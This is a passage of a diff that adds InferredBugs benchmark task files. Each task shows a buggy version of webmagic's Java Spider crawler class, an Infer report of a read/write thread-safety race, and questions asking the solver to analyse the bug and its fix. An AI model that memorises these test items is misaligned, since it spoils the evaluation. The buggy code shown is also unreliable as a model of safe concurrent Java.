+        if (!stat.compareAndSet(STAT_INIT, STAT_RUNNING)) {
+            throw new IllegalStateException("Spider is already running!");
+        }
+        checkComponent();
+        if (startUrls != null) {
+            for (String startUrl : startUrls) {
+                scheduler.push(new Request(startUrl), this);
+            }
+        }
+        Request request = scheduler.poll(this);
+        if (pipelines.isEmpty()) {
+            pipelines.add(new ConsolePipeline());
+        }
+        //singel thread
+        if (executorService == null) {
+            while (request != null) {
+                processRequest(request);
+                request = scheduler.poll(this);
+            }
+        } else {
+            //multi thread
+            final AtomicInteger threadAlive = new AtomicInteger(0);
+            while (true) {
+                if (request == null) {
+                    //when no request found but some thread is alive, sleep a while.
+                    try {
+                        Thread.sleep(100);
+                    } catch (InterruptedException e) {
+                    }
+                } else {
+                    final Request requestFinal = request;
+                    threadAlive.incrementAndGet();
+                    executorService.execute(new Runnable() {
+                        @Override
+                        public void run() {
+                            processRequest(requestFinal);
+                            threadAlive.decrementAndGet();
+                        }
+                    });
+                }
+                request = scheduler.poll(this);
+                if (threadAlive.get() == 0) {
+                    request = scheduler.poll(this);
+                    if (request == null) {
+                        break;
+                    }
+                }
+            }
+            executorService.shutdown();
+        }
+        stat.compareAndSet(STAT_RUNNING, STAT_STOPPED);
+        //release some resources
+        destroy();
+    }
+
+    private void destroy() {
+        destroyEach(downloader);
+        destroyEach(pageProcessor);
+        for (Pipeline pipeline : pipelines) {
+            destroyEach(pipeline);
+        }
+    }
+
+    private void destroyEach(Object object){
+        if (object instanceof Destroyable) {
+            ((Destroyable)object).destroy();
+        }
+    }
+
+    private void processRequest(Request request) {
+        Page page = downloader.download(request, this);
+        if (page == null) {
+            sleep(site.getSleepTime());
+            return;
+        }
+        pageProcessor.process(page);
+        addRequest(page);
+        for (Pipeline pipeline : pipelines) {
+            pipeline.process(page.getResultItems(), this);
+        }
+        sleep(site.getSleepTime());
+    }
+
+    private void sleep(int time) {
+        try {
+            Thread.sleep(time);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void addRequest(Page page) {
+        if (CollectionUtils.isNotEmpty(page.getTargetRequests())) {
+            for (Request request : page.getTargetRequests()) {
+                scheduler.push(request, this);
+            }
+        }
+    }
+
+    private void checkIfNotRunning() {
+        if (!stat.compareAndSet(STAT_INIT, STAT_INIT)) {
+            throw new IllegalStateException("Spider is already running!");
+        }
+    }
+
+    public void runAsync() {
+        Thread thread = new Thread(this);
+        thread.setDaemon(false);
+        thread.start();
+    }
+
+    /**
+     * 建立多个线程下载
+     *
+     * @param threadNum 线程数
+     * @return this
+     */
+    public Spider thread(int threadNum) {
+        checkIfNotRunning();
+        if (threadNum <= 0) {
+            throw new IllegalArgumentException("threadNum should be more than one!");
+        }
+        if (downloader==null || downloader instanceof HttpClientDownloader){
+            downloader = new HttpClientDownloader(threadNum);
+        }
+        if (threadNum == 1) {
+            return this;
+        }
+        synchronized (this) {
+            this.executorService = ThreadUtils.newFixedThreadPool(threadNum);
+        }
+        return this;
+    }
+
+    @Override
+    public String getUUID() {
+        if (uuid != null) {
+            return uuid;
+        }
+        if (site != null) {
+            return site.getDomain();
+        }
+        return null;
+    }
+
+    @Override
+    public Site getSite() {
+        return site;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `us.codecraft.webmagic.Spider.thread` reads without synchronization from `this.us.codecraft.webmagic.Spider.downloader`. Potentially races with write in method `Spider.thread(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Spider Spider.thread(int)
+
+### Procedure Id:
+us.codecraft.webmagic.Spider.thread(int):us.codecraft.webmagic.Spider.e4ad84957f0e798c63f232cc730c1aa2
+
+### File:
+webmagic-core/src/main/java/us/codecraft/webmagic/Spider.java
+
+### Key:
+Spider.java|thread|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+98a7ce161b85a537af5550e887cc3dd5
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5420/instruction.md b/inferredbugs-5420/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b0c068f6a040d08dc21b418840a81a18da5b8a01
--- /dev/null
+++ b/inferredbugs-5420/instruction.md
@@ -0,0 +1,553 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** webmagic
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package us.codecraft.webmagic;
+
+import org.apache.commons.collections.CollectionUtils;
+import org.apache.log4j.Logger;
+import us.codecraft.webmagic.downloader.Downloader;
+import us.codecraft.webmagic.downloader.HttpClientDownloader;
+import us.codecraft.webmagic.pipeline.ConsolePipeline;
+import us.codecraft.webmagic.pipeline.Pipeline;
+import us.codecraft.webmagic.processor.PageProcessor;
+import us.codecraft.webmagic.scheduler.QueueScheduler;
+import us.codecraft.webmagic.scheduler.Scheduler;
+import us.codecraft.webmagic.utils.EnvironmentUtil;
+import us.codecraft.webmagic.utils.ThreadUtils;
+
+import java.io.Closeable;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * Entrance of a crawler.<br>
+ * A spider contains four modules: Downloader, Scheduler, PageProcessor and
+ * Pipeline.<br>
+ * Every module is a field of Spider. <br>
+ * The modules are defined in interface. <br>
+ * You can customize a spider with various implementations of them. <br>
+ * Examples: <br>
+ * <br>
+ * A simple crawler: <br>
+ * Spider.create(new SimplePageProcessor("http://my.oschina.net/",
+ * "http://my.oschina.net/*blog/*")).run();<br>
+ * <br>
+ * Store results to files by FilePipeline: <br>
+ * Spider.create(new SimplePageProcessor("http://my.oschina.net/",
+ * "http://my.oschina.net/*blog/*")) <br>
+ * .pipeline(new FilePipeline("/data/temp/webmagic/")).run(); <br>
+ * <br>
+ * Use FileCacheQueueScheduler to store urls and cursor in files, so that a
+ * Spider can resume the status when shutdown. <br>
+ * Spider.create(new SimplePageProcessor("http://my.oschina.net/",
+ * "http://my.oschina.net/*blog/*")) <br>
+ * .scheduler(new FileCacheQueueScheduler("/data/temp/webmagic/cache/")).run(); <br>
+ *
+ * @author code4crafter@gmail.com <br>
+ * @see Downloader
+ * @see Scheduler
+ * @see PageProcessor
+ * @see Pipeline
+ * @since 0.1.0
+ */
+public class Spider implements Runnable, Task {
+
+    protected Downloader downloader;
+
+    protected List<Pipeline> pipelines = new ArrayList<Pipeline>();
+
+    protected PageProcessor pageProcessor;
+
+    protected List<String> startUrls;
+
+    protected Site site;
+
+    protected String uuid;
+
+    protected Scheduler scheduler = new QueueScheduler();
+
+    protected Logger logger = Logger.getLogger(getClass());
+
+    protected ExecutorService executorService;
+
+    protected int threadNum = 1;
+
+    protected AtomicInteger stat = new AtomicInteger(STAT_INIT);
+
+    protected boolean exitWhenComplete = true;
+
+    protected final static int STAT_INIT = 0;
+
+    protected final static int STAT_RUNNING = 1;
+
+    protected final static int STAT_STOPPED = 2;
+
+    private ReentrantLock newUrlLock = new ReentrantLock();
+
+    private Condition newUrlCondition = newUrlLock.newCondition();
+
+    /**
+     * create a spider with pageProcessor.
+     *
+     * @param pageProcessor
+     * @return new spider
+     * @see PageProcessor
+     */
+    public static Spider create(PageProcessor pageProcessor) {
+        return new Spider(pageProcessor);
+    }
+
+    /**
+     * create a spider with pageProcessor.
+     *
+     * @param pageProcessor
+     */
+    public Spider(PageProcessor pageProcessor) {
+        this.pageProcessor = pageProcessor;
+        this.site = pageProcessor.getSite();
+        this.startUrls = pageProcessor.getSite().getStartUrls();
+    }
+
+    /**
+     * Set startUrls of Spider.<br>
+     * Prior to startUrls of Site.
+     *
+     * @param startUrls
+     * @return this
+     */
+    public Spider startUrls(List<String> startUrls) {
+        checkIfRunning();
+        this.startUrls = startUrls;
+        return this;
+    }
+
+    /**
+     * Set an uuid for spider.<br>
+     * Default uuid is domain of site.<br>
+     *
+     * @param uuid
+     * @return this
+     */
+    public Spider setUUID(String uuid) {
+        this.uuid = uuid;
+        return this;
+    }
+
+    /**
+     * set scheduler for Spider
+     *
+     * @param scheduler
+     * @return this
+     * @Deprecated
+     * @see #setScheduler(us.codecraft.webmagic.scheduler.Scheduler)
+     */
+    public Spider scheduler(Scheduler scheduler) {
+        return setScheduler(scheduler);
+    }
+
+    /**
+     * set scheduler for Spider
+     *
+     * @param scheduler
+     * @return this
+     * @see Scheduler
+     * @since 0.2.1
+     */
+    public Spider setScheduler(Scheduler scheduler) {
+        checkIfRunning();
+        this.scheduler = scheduler;
+        return this;
+    }
+
+    /**
+     * add a pipeline for Spider
+     *
+     * @param pipeline
+     * @return this
+     * @see #setPipeline(us.codecraft.webmagic.pipeline.Pipeline)
+     * @deprecated
+     */
+    public Spider pipeline(Pipeline pipeline) {
+        return addPipeline(pipeline);
+    }
+
+    /**
+     * add a pipeline for Spider
+     *
+     * @param pipeline
+     * @return this
+     * @see Pipeline
+     * @since 0.2.1
+     */
+    public Spider addPipeline(Pipeline pipeline) {
+        checkIfRunning();
+        this.pipelines.add(pipeline);
+        return this;
+    }
+
+    /**
+     * clear the pipelines set
+     *
+     * @return this
+     */
+    public Spider clearPipeline() {
+        pipelines = new ArrayList<Pipeline>();
+        return this;
+    }
+
+    /**
+     * set the downloader of spider
+     *
+     * @param downloader
+     * @return this
+     * @see #setDownloader(us.codecraft.webmagic.downloader.Downloader)
+     * @deprecated
+     */
+    public Spider downloader(Downloader downloader) {
+        return setDownloader(downloader);
+    }
+
+    /**
+     * set the downloader of spider
+     *
+     * @param downloader
+     * @return this
+     * @see Downloader
+     */
+    public Spider setDownloader(Downloader downloader) {
+        checkIfRunning();
+        this.downloader = downloader;
+        return this;
+    }
+
+    protected void initComponent() {
+        if (downloader == null) {
+            this.downloader = new HttpClientDownloader();
+        }
+        if (pipelines.isEmpty()) {
+            pipelines.add(new ConsolePipeline());
+        }
+        downloader.setThread(threadNum);
+        executorService = ThreadUtils.newFixedThreadPool(threadNum);
+        if (startUrls != null) {
+            for (String startUrl : startUrls) {
+                scheduler.push(new Request(startUrl), this);
+            }
+            startUrls.clear();
+        }
+    }
+
+    @Override
+    public void run() {
+        checkRunningStat();
+        initComponent();
+        logger.info("Spider " + getUUID() + " started!");
+        final AtomicInteger threadAlive = new AtomicInteger(0);
+        while (!Thread.currentThread().isInterrupted() && stat.get() == STAT_RUNNING) {
+            Request request = scheduler.poll(this);
+            if (request == null) {
+                if (threadAlive.get() == 0 && exitWhenComplete) {
+                    break;
+                }
+                // wait until new url added
+                try {
+                    newUrlLock.lock();
+                    try {
+                        newUrlCondition.await();
+                    } catch (InterruptedException e) {
+                    }
+                } finally {
+                    newUrlLock.unlock();
+                }
+            } else {
+                final Request requestFinal = request;
+                threadAlive.incrementAndGet();
+                executorService.execute(new Runnable() {
+                    @Override
+                    public void run() {
+                        try {
+                            processRequest(requestFinal);
+                        } catch (Exception e) {
+                            logger.error("download " + requestFinal + " error", e);
+                        } finally {
+                            threadAlive.decrementAndGet();
+                            signalNewUrl();
+                        }
+                    }
+                });
+            }
+        }
+        executorService.shutdown();
+        stat.set(STAT_STOPPED);
+        // release some resources
+        destroy();
+    }
+
+    private void checkRunningStat() {
+        while (true) {
+            int statNow = stat.get();
+            if (statNow == STAT_RUNNING) {
+                throw new IllegalStateException("Spider is already running!");
+            }
+            if (stat.compareAndSet(statNow, STAT_RUNNING)) {
+                break;
+            }
+        }
+    }
+
+    protected void destroy() {
+        destroyEach(downloader);
+        destroyEach(pageProcessor);
+        for (Pipeline pipeline : pipelines) {
+            destroyEach(pipeline);
+        }
+    }
+
+    private void destroyEach(Object object) {
+        if (object instanceof Closeable) {
+            try {
+                ((Closeable) object).close();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    /**
+     * Process specific urls without url discovering.
+     *
+     * @param urls urls to process
+     */
+    public void test(String... urls) {
+        initComponent();
+        if (urls.length > 0) {
+            for (String url : urls) {
+                processRequest(new Request(url));
+            }
+        }
+    }
+
+    protected void processRequest(Request request) {
+        Page page = downloader.download(request, this);
+        if (page == null) {
+            sleep(site.getSleepTime());
+            return;
+        }
+        // for cycle retry
+        if (page.getHtml() == null) {
+            addRequest(page);
+            sleep(site.getSleepTime());
+            return;
+        }
+        pageProcessor.process(page);
+        addRequest(page);
+        if (!page.getResultItems().isSkip()) {
+            for (Pipeline pipeline : pipelines) {
+                pipeline.process(page.getResultItems(), this);
+            }
+        }
+        sleep(site.getSleepTime());
+    }
+
+    protected void sleep(int time) {
+        try {
+            Thread.sleep(time);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
+    protected void addRequest(Page page) {
+        if (CollectionUtils.isNotEmpty(page.getTargetRequests())) {
+            for (Request request : page.getTargetRequests()) {
+                addRequest(request);
+            }
+        }
+    }
+
+    private void addRequest(Request request) {
+        scheduler.push(request, this);
+
+    }
+
+    protected void checkIfRunning() {
+        if (stat.get() == STAT_RUNNING) {
+            throw new IllegalStateException("Spider is already running!");
+        }
+    }
+
+    public void runAsync() {
+        Thread thread = new Thread(this);
+        thread.setDaemon(false);
+        thread.start();
+    }
+
+    /**
+     * Add urls to crawl.<br/>
+     *
+     * @param urls
+     * @return
+     */
+    public Spider addUrl(String... urls) {
+        for (String url : urls) {
+            addRequest(new Request(url));
+        }
+        signalNewUrl();
+        return this;
+    }
+
+    private void signalNewUrl() {
+        try {
+            newUrlLock.lock();
+            newUrlCondition.signalAll();
+        } finally {
+            newUrlLock.unlock();
+        }
+    }
+
+    public void start() {
+        runAsync();
+    }
+
+    public void stop() {
+        if (stat.compareAndSet(STAT_RUNNING, STAT_STOPPED)) {
+            logger.info("Spider " + getUUID() + " stop success!");
+        } else {
+            logger.info("Spider " + getUUID() + " stop fail!");
+        }
+    }
+
+    /**
+     * start with more than one threads
+     *
+     * @param threadNum
+     * @return this
+     */
+    public Spider thread(int threadNum) {
+        checkIfRunning();
+        this.threadNum = threadNum;
+        if (threadNum <= 0) {
+            throw new IllegalArgumentException("threadNum should be more than one!");
+        }
+        return this;
+    }
+
+    /**
+     * switch off xsoup
+     *
+     * @return
+     */
+    public static void xsoupOff() {
+        EnvironmentUtil.setUseXsoup(false);
+    }
+
+    public boolean isExitWhenComplete() {
+        return exitWhenComplete;
+    }
+
+    /**
+     * Exit when complete. <br/>
+     * True: exit when all url of the site is downloaded. <br/>
+     * False: not exit until call stop manually.<br/>
+     *
+     * @param exitWhenComplete
+     * @return
+     */
+    public Spider setExitWhenComplete(boolean exitWhenComplete) {
+        this.exitWhenComplete = exitWhenComplete;
+        return this;
+    }
+
+    @Override
+    public String getUUID() {
+        if (uuid != null) {
+            return uuid;
+        }
+        if (site != null) {
+            return site.getDomain();
+        }
+        return null;
+    }
+
+    @Override
+    public Site getSite() {
+        return site;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `us.codecraft.webmagic.Spider.run` reads without synchronization from `this.us.codecraft.webmagic.Spider.scheduler`. Potentially races with write in method `Spider.setScheduler(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Spider.run()
+
+### Procedure Id:
+us.codecraft.webmagic.Spider.run():void.33fc4d8a5cd290c522dd103b47002d27
+
+### File:
+webmagic-core/src/main/java/us/codecraft/webmagic/Spider.java
+
+### Key:
+Spider.java|run|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+c256b8006c2e75b81ddfbdd1bdb26645
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5427/instruction.md b/inferredbugs-5427/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1a59a2e70648891d35c1c213fac7f403f12f002b
--- /dev/null
+++ b/inferredbugs-5427/instruction.md
@@ -0,0 +1,553 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** webmagic
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package us.codecraft.webmagic;
+
+import org.apache.commons.collections.CollectionUtils;
+import org.apache.log4j.Logger;
+import us.codecraft.webmagic.downloader.Downloader;
+import us.codecraft.webmagic.downloader.HttpClientDownloader;
+import us.codecraft.webmagic.pipeline.ConsolePipeline;
+import us.codecraft.webmagic.pipeline.Pipeline;
+import us.codecraft.webmagic.processor.PageProcessor;
+import us.codecraft.webmagic.scheduler.QueueScheduler;
+import us.codecraft.webmagic.scheduler.Scheduler;
+import us.codecraft.webmagic.utils.EnvironmentUtil;
+import us.codecraft.webmagic.utils.ThreadUtils;
+
+import java.io.Closeable;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * Entrance of a crawler.<br>
+ * A spider contains four modules: Downloader, Scheduler, PageProcessor and
+ * Pipeline.<br>
+ * Every module is a field of Spider. <br>
+ * The modules are defined in interface. <br>
+ * You can customize a spider with various implementations of them. <br>
+ * Examples: <br>
+ * <br>
+ * A simple crawler: <br>
+ * Spider.create(new SimplePageProcessor("http://my.oschina.net/",
+ * "http://my.oschina.net/*blog/*")).run();<br>
+ * <br>
+ * Store results to files by FilePipeline: <br>
+ * Spider.create(new SimplePageProcessor("http://my.oschina.net/",
+ * "http://my.oschina.net/*blog/*")) <br>
+ * .pipeline(new FilePipeline("/data/temp/webmagic/")).run(); <br>
+ * <br>
+ * Use FileCacheQueueScheduler to store urls and cursor in files, so that a
+ * Spider can resume the status when shutdown. <br>
+ * Spider.create(new SimplePageProcessor("http://my.oschina.net/",
+ * "http://my.oschina.net/*blog/*")) <br>
+ * .scheduler(new FileCacheQueueScheduler("/data/temp/webmagic/cache/")).run(); <br>
+ *
+ * @author code4crafter@gmail.com <br>
+ * @see Downloader
+ * @see Scheduler
+ * @see PageProcessor
+ * @see Pipeline
+ * @since 0.1.0
+ */
+public class Spider implements Runnable, Task {
+
+    protected Downloader downloader;
+
+    protected List<Pipeline> pipelines = new ArrayList<Pipeline>();
+
+    protected PageProcessor pageProcessor;
+
+    protected List<String> startUrls;
+
+    protected Site site;
+
+    protected String uuid;
+
+    protected Scheduler scheduler = new QueueScheduler();
+
+    protected Logger logger = Logger.getLogger(getClass());
+
+    protected ExecutorService executorService;
+
+    protected int threadNum = 1;
+
+    protected AtomicInteger stat = new AtomicInteger(STAT_INIT);
+
+    protected boolean exitWhenComplete = true;
+
+    protected final static int STAT_INIT = 0;
+
+    protected final static int STAT_RUNNING = 1;
+
+    protected final static int STAT_STOPPED = 2;
+
+    private ReentrantLock newUrlLock = new ReentrantLock();
+
+    private Condition newUrlCondition = newUrlLock.newCondition();
+
+    /**
+     * create a spider with pageProcessor.
+     *
+     * @param pageProcessor
+     * @return new spider
+     * @see PageProcessor
+     */
+    public static Spider create(PageProcessor pageProcessor) {
+        return new Spider(pageProcessor);
+    }
+
+    /**
+     * create a spider with pageProcessor.
+     *
+     * @param pageProcessor
+     */
+    public Spider(PageProcessor pageProcessor) {
+        this.pageProcessor = pageProcessor;
+        this.site = pageProcessor.getSite();
+        this.startUrls = pageProcessor.getSite().getStartUrls();
+    }
+
+    /**
+     * Set startUrls of Spider.<br>
+     * Prior to startUrls of Site.
+     *
+     * @param startUrls
+     * @return this
+     */
+    public Spider startUrls(List<String> startUrls) {
+        checkIfRunning();
+        this.startUrls = startUrls;
+        return this;
+    }
+
+    /**
+     * Set an uuid for spider.<br>
+     * Default uuid is domain of site.<br>
+     *
+     * @param uuid
+     * @return this
+     */
+    public Spider setUUID(String uuid) {
+        this.uuid = uuid;
+        return this;
+    }
+
+    /**
+     * set scheduler for Spider
+     *
+     * @param scheduler
+     * @return this
+     * @Deprecated
+     * @see #setScheduler(us.codecraft.webmagic.scheduler.Scheduler)
+     */
+    public Spider scheduler(Scheduler scheduler) {
+        return setScheduler(scheduler);
+    }
+
+    /**
+     * set scheduler for Spider
+     *
+     * @param scheduler
+     * @return this
+     * @see Scheduler
+     * @since 0.2.1
+     */
+    public Spider setScheduler(Scheduler scheduler) {
+        checkIfRunning();
+        this.scheduler = scheduler;
+        return this;
+    }
+
+    /**
+     * add a pipeline for Spider
+     *
+     * @param pipeline
+     * @return this
+     * @see #setPipeline(us.codecraft.webmagic.pipeline.Pipeline)
+     * @deprecated
+     */
+    public Spider pipeline(Pipeline pipeline) {
+        return addPipeline(pipeline);
+    }
+
+    /**
+     * add a pipeline for Spider
+     *
+     * @param pipeline
+     * @return this
+     * @see Pipeline
+     * @since 0.2.1
+     */
+    public Spider addPipeline(Pipeline pipeline) {
+        checkIfRunning();
+        this.pipelines.add(pipeline);
+        return this;
+    }
+
+    /**
+     * clear the pipelines set
+     *
+     * @return this
+     */
+    public Spider clearPipeline() {
+        pipelines = new ArrayList<Pipeline>();
+        return this;
+    }
+
+    /**
+     * set the downloader of spider
+     *
+     * @param downloader
+     * @return this
+     * @see #setDownloader(us.codecraft.webmagic.downloader.Downloader)
+     * @deprecated
+     */
+    public Spider downloader(Downloader downloader) {
+        return setDownloader(downloader);
+    }
+
+    /**
+     * set the downloader of spider
+     *
+     * @param downloader
+     * @return this
+     * @see Downloader
+     */
+    public Spider setDownloader(Downloader downloader) {
+        checkIfRunning();
+        this.downloader = downloader;
+        return this;
+    }
+
+    protected void initComponent() {
+        if (downloader == null) {
+            this.downloader = new HttpClientDownloader();
+        }
+        if (pipelines.isEmpty()) {
+            pipelines.add(new ConsolePipeline());
+        }
+        downloader.setThread(threadNum);
+        executorService = ThreadUtils.newFixedThreadPool(threadNum);
+        if (startUrls != null) {
+            for (String startUrl : startUrls) {
+                scheduler.push(new Request(startUrl), this);
+            }
+            startUrls.clear();
+        }
+    }
+
+    @Override
+    public void run() {
+        checkRunningStat();
+        initComponent();
+        logger.info("Spider " + getUUID() + " started!");
+        final AtomicInteger threadAlive = new AtomicInteger(0);
+        while (!Thread.currentThread().isInterrupted() && stat.get() == STAT_RUNNING) {
+            Request request = scheduler.poll(this);
+            if (request == null) {
+                if (threadAlive.get() == 0 && exitWhenComplete) {
+                    break;
+                }
+                // wait until new url added
+                try {
+                    newUrlLock.lock();
+                    try {
+                        newUrlCondition.await();
+                    } catch (InterruptedException e) {
+                    }
+                } finally {
+                    newUrlLock.unlock();
+                }
+            } else {
+                final Request requestFinal = request;
+                threadAlive.incrementAndGet();
+                executorService.execute(new Runnable() {
+                    @Override
+                    public void run() {
+                        try {
+                            processRequest(requestFinal);
+                        } catch (Exception e) {
+                            logger.error("download " + requestFinal + " error", e);
+                        } finally {
+                            threadAlive.decrementAndGet();
+                            signalNewUrl();
+                        }
+                    }
+                });
+            }
+        }
+        executorService.shutdown();
+        stat.set(STAT_STOPPED);
+        // release some resources
+        destroy();
+    }
+
+    private void checkRunningStat() {
+        while (true) {
+            int statNow = stat.get();
+            if (statNow == STAT_RUNNING) {
+                throw new IllegalStateException("Spider is already running!");
+            }
+            if (stat.compareAndSet(statNow, STAT_RUNNING)) {
+                break;
+            }
+        }
+    }
+
+    protected void destroy() {
+        destroyEach(downloader);
+        destroyEach(pageProcessor);
+        for (Pipeline pipeline : pipelines) {
+            destroyEach(pipeline);
+        }
+    }
+
+    private void destroyEach(Object object) {
+        if (object instanceof Closeable) {
+            try {
+                ((Closeable) object).close();
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    /**
+     * Process specific urls without url discovering.
+     *
+     * @param urls urls to process
+     */
+    public void test(String... urls) {
+        initComponent();
+        if (urls.length > 0) {
+            for (String url : urls) {
+                processRequest(new Request(url));
+            }
+        }
+    }
+
+    protected void processRequest(Request request) {
+        Page page = downloader.download(request, this);
+        if (page == null) {
+            sleep(site.getSleepTime());
+            return;
+        }
+        // for cycle retry
+        if (page.getHtml() == null) {
+            addRequest(page);
+            sleep(site.getSleepTime());
+            return;
+        }
+        pageProcessor.process(page);
+        addRequest(page);
+        if (!page.getResultItems().isSkip()) {
+            for (Pipeline pipeline : pipelines) {
+                pipeline.process(page.getResultItems(), this);
+            }
+        }
+        sleep(site.getSleepTime());
+    }
+
+    protected void sleep(int time) {
+        try {
+            Thread.sleep(time);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+    }
+
+    protected void addRequest(Page page) {
+        if (CollectionUtils.isNotEmpty(page.getTargetRequests())) {
+            for (Request request : page.getTargetRequests()) {
+                addRequest(request);
+            }
+        }
+    }
+
+    private void addRequest(Request request) {
+        scheduler.push(request, this);
+
+    }
+
+    protected void checkIfRunning() {
+        if (stat.get() == STAT_RUNNING) {
+            throw new IllegalStateException("Spider is already running!");
+        }
+    }
+
+    public void runAsync() {
+        Thread thread = new Thread(this);
+        thread.setDaemon(false);
+        thread.start();
+    }
+
+    /**
+     * Add urls to crawl.<br/>
+     *
+     * @param urls
+     * @return
+     */
+    public Spider addUrl(String... urls) {
+        for (String url : urls) {
+            addRequest(new Request(url));
+        }
+        signalNewUrl();
+        return this;
+    }
+
+    private void signalNewUrl() {
+        try {
+            newUrlLock.lock();
+            newUrlCondition.signalAll();
+        } finally {
+            newUrlLock.unlock();
+        }
+    }
+
+    public void start() {
+        runAsync();
+    }
+
+    public void stop() {
+        if (stat.compareAndSet(STAT_RUNNING, STAT_STOPPED)) {
+            logger.info("Spider " + getUUID() + " stop success!");
+        } else {
+            logger.info("Spider " + getUUID() + " stop fail!");
+        }
+    }
+
+    /**
+     * start with more than one threads
+     *
+     * @param threadNum
+     * @return this
+     */
+    public Spider thread(int threadNum) {
+        checkIfRunning();
+        this.threadNum = threadNum;
+        if (threadNum <= 0) {
+            throw new IllegalArgumentException("threadNum should be more than one!");
+        }
+        return this;
+    }
+
+    /**
+     * switch off xsoup
+     *
+     * @return
+     */
+    public static void xsoupOff() {
+        EnvironmentUtil.setUseXsoup(false);
+    }
+
+    public boolean isExitWhenComplete() {
+        return exitWhenComplete;
+    }
+
+    /**
+     * Exit when complete. <br/>
+     * True: exit when all url of the site is downloaded. <br/>
+     * False: not exit until call stop manually.<br/>
+     *
+     * @param exitWhenComplete
+     * @return
+     */
+    public Spider setExitWhenComplete(boolean exitWhenComplete) {
+        this.exitWhenComplete = exitWhenComplete;
+        return this;
+    }
+
+    @Override
+    public String getUUID() {
+        if (uuid != null) {
+            return uuid;
+        }
+        if (site != null) {
+            return site.getDomain();
+        }
+        return null;
+    }
+
+    @Override
+    public Site getSite() {
+        return site;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `us.codecraft.webmagic.Spider.run` indirectly reads without synchronization from `this.us.codecraft.webmagic.Spider.downloader`. Potentially races with write in method `Spider.test(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Spider.run()
+
+### Procedure Id:
+us.codecraft.webmagic.Spider.run():void.33fc4d8a5cd290c522dd103b47002d27
+
+### File:
+webmagic-core/src/main/java/us/codecraft/webmagic/Spider.java
+
+### Key:
+Spider.java|run|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+8d58825a92bc15f9af5cff2d080338da
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
